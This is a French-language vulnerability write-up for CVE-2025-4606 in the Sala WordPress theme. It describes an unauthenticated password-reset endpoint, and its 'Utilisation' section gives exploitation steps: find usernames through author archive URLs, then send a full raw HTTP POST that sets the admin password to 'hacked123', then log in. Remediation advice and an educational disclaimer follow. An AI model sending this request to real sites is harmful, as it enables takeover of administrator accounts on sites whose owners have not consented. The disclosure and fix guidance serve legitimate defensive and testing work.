CVE-2025-4606 - Thème WordPress Sala <= 1.1.4 - Escalade de privilèges non authentifiée via réinitialisation de mot de passe / prise de contrôle de compte

🔥 Résumé de la vulnérabilité
Le thème WordPress Sala versions <= 1.1.4 est vulnérable à une escalade de privilèges non authentifiée. Cette faille permet à des attaquants non authentifiés de réinitialiser les mots de passe d'utilisateurs arbitraires — y compris les administrateurs — en invoquant directement un point de terminaison AJAX exposé sans vérifier l'identité du demandeur.

Cette vulnérabilité provient de la fonction change_password_ajax enregistrée via wp_ajax_nopriv_, qui définit un nouveau mot de passe pour tout nom d'utilisateur valide sans vérifier si la requête est autorisée.

🔍 Thème concerné

• Nom du thème : Sala – Thème WordPress Startup & SaaS
• Version concernée : <= 1.1.4
• Type de vulnérabilité : Escalade de privilèges non authentifiée
• Identifiant CVE : CVE-2025-4606
• Score CVSS : 9.8 (Critique)
• Impact : Prise de contrôle complète du compte (y compris administrateur)

🧪 Caractéristiques de l'exploit

• 🔓 Aucune authentification requise
• 🔄 Écrase le mot de passe de n'importe quel utilisateur en fournissant un nom d'utilisateur valide
• 📬 Cible le point de terminaison AJAX /wp-admin/admin-ajax.php?action=change_password_ajax
• 🧠 Fonctionne instantanément si l'attaquant connaît un nom d'utilisateur valide (ex. : admin)

🧠 Chercheur

• Crédit : Thai An

🚀 Utilisation

1. Identifiez un nom d'utilisateur valide sur le site WordPress cible. Vous pouvez le faire en vérifiant :

   • Les URL d'archive d'auteur publiques (/author/username)

2. Construisez la requête POST suivante pour réinitialiser le mot de passe de l'utilisateur :

   root@kitploit:~

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: targetsite.com
   Content-Type: application/x-www-form-urlencoded
   
   action=change_password_ajax&login=admin&new_password=hacked123
   

3. En cas de succès, vous pouvez maintenant vous connecter en tant qu'utilisateur ciblé en utilisant le nouveau mot de passe (hacked123 dans l'exemple ci-dessus).

4. Rendez-vous sur /wp-login.php et vérifiez l'accès.

🛠 Recommandations de correction

• Les développeurs du thème devraient supprimer ou sécuriser le hook wp_ajax_nopriv_change_password_ajax.
• Vérifiez toujours is_user_logged_in() et l'identité de l'utilisateur avant d'autoriser des actions sensibles.
• Implémentez des contrôles nonce pour prévenir les attaques CSRF et les abus non authentifiés.

🔒 Avertissement :
Ces informations sont fournies à des fins éducatives et de tests de pénétration autorisés uniquement. L'exploitation non autorisée de systèmes est illégale et contraire à l'éthique.

📚 Référence :

• Avis Wordfence